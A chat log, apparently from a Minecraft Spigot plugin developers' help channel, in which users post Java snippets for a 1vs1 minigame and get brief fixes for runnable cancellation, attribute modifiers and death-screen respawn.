Also you check the relative of some block not contained in that method, so god knows if that’s even the block you’re currently iterating over

[slim wigeon]

There is a function that calls this. I not getting up to send that function but this is why I asked if there is a area scanner I call it

[worthy yarrow]

No there’s not, you need to do that yourself, I figure the issue is with the duplicated .getRelative call

[fervent robin]

Why is foot and head not instances of bed? Theyre being to set to bed block
https://paste.md-5.net/ogeqiyomil.cs

[worthy yarrow]

Should be getting the block at x,y,z then checking if it’s solid

[valid basin]

They changed packets again on 1.21.4. Does someone have a link to some updated wiki where I can see updated packets?

[azure zealot]

It was moved to minecraft wiki

But was not updated since

What packet id do you wanna know

[valid basin]

It pisses me off they keep changing things constantly

Like 1.19 changed, 1.20 changed and they changed it again on 1.21

Like wth bro

[azure zealot]

I know :)

[valid basin]

I'll let you know when I'm on pc. I'll send my code here

I made it support 1.8-1.20

[azure zealot]

Ping me otherwise i will not notice

[valid basin]

But 1.21 crashed it again

Alright, thx 😊

[dense falcon]

    private void prepareGame() {
        int playersInServer = Bukkit.getOnlinePlayers().size();

        if (playersInServer >= 1) {
            Bukkit.broadcastMessage(ChatColor.GREEN + "Le jeu va pouvoir commencer !");
            new BukkitRunnable() {
                int timeLeft = 5; // secondes

                @Override
                public void run() {
                    if (timeLeft > 0) {
                        if (Bukkit.getOnlinePlayers().size() < 1) {
                            Bukkit.broadcastMessage(ChatColor.RED + "Le jeu ne peut pas commencer sans 2 joueurs !");
                            cancel();
                        }

                        Bukkit.broadcastMessage(ChatColor.GOLD + "[1vs1]" + ChatColor.RESET + "Le jeu débute dans " + ChatColor.RED + timeLeft + ChatColor.RESET + " secondes !");
                        for (Player p : Bukkit.getOnlinePlayers()) {
                            p.sendTitle(ChatColor.YELLOW + "Début dans " + timeLeft, "", 0, 20, 0);
                            p.playSound(p.getLocation(), Sound.ENTITY_EXPERIENCE_ORB_PICKUP, 1.0F, 1.0F);
                        }

                        timeLeft--;
                    } else {
                        Bukkit.broadcastMessage("Bonne chance à toutes et tous !");
                        giveEquipment();
                        teleportToSpawn();
                        this.cancel();
                    }
                }
            }.runTaskTimer(this.plugin, 0L, 20L); // 1s = 20 ticks
        }
    }

I'm getting a little problem, when the timeLeft is 0 I get items and teleported but I can't move because it still doing the BukkitRunnable, why?
It's doing this part in an infinite loop:

                        Bukkit.broadcastMessage("Bonne chance à toutes et tous !");
                        giveEquipment();
                        teleportToSpawn();
                        this.cancel();

[umbral ridge]

[dense falcon]

Well, now it works, no idea why it wasn't working before...

[median path]

meta.addAttributeModifier(Attribute.GENERIC_ATTACK_DAMAGE, new AttributeModifier("generic.attackDamage", 7, AttributeModifier.Operation.ADD_NUMBER));

my modifier is in every part of the item i want the modifier in the Main Hand only what do i need to change here

[chrome beacon]

Pass the main hand as the next parameter in attribute modifier

Actually you appear to be using the deprecated constructor

Use this one https://hub.spigotmc.org/javadocs/spigot/org/bukkit/attribute/AttributeModifier.html#<init>(org.bukkit.NamespacedKey,double,org.bukkit.attribute.AttributeModifier.Operation,org.bukkit.inventory.EquipmentSlotGroup)

[dense falcon]

@EventHandler
    public void onPlayerDeath(PlayerDeathEvent event) {
        Player player_whois_dead = event.getEntity().getPlayer();
        if (player_whois_dead == null) {return;}

        String serverName = player_whois_dead.getServer().getMotd();
        if (!serverName.startsWith("1vs1")) { return; }


        for (Entity e : player_whois_dead.getWorld().getEntities()) {
            if (e instanceof Item) {
                e.remove();
            }
        }

        player_whois_dead.spigot().respawn();
        player_whois_dead.setGameMode(GameMode.ADVENTURE);

        Bukkit.broadcastMessage(ChatColor.GOLD + "[1vs1]" + ChatColor.RESET + " Le jeu est terminé, nous avons un vainceur !");
        Player winner = null;

        for (Player p : Bukkit.getOnlinePlayers()) {
            p.teleport(new Location(p.getWorld(), -2.5, 111, 0, 90, 0));

            int isVanished = Integer.parseInt(getKeyFromPlayer("vanish", p.getUniqueId().toString()));
            if (isVanished == 0 && !Objects.equals(p.getUniqueId().toString(), player_whois_dead.getUniqueId().toString())) {
                winner = p;
            }

            if (winner != null) {
                p.sendTitle(ChatColor.YELLOW + "Félécitations " + ChatColor.RED + ChatColor.BOLD + winner.getName(), "", 0, 60, 0);
                p.getInventory().clear();
                break;
            }
        }

        new BukkitRunnable() {
            int timeLeft = 3; // secondes

            @Override
            public void run() {
                if (timeLeft > 0) {
                    timeLeft--;
                } else {
                    for (Player p : Bukkit.getOnlinePlayers()) {
                        p.performCommand("lobby");
                    }
                    this.cancel();
                }
            }
        }.runTaskTimer(this.plugin, 0L, 60L); // 1s = 20 ticks
    }

Why I have the death "menu" when getting killed?

[thorn isle]

i see about 5 too many toString's in there

[torn shuttle]

((message)rookie numbers).toString();

[lost matrix]

Try delaying the respawn by a tick or two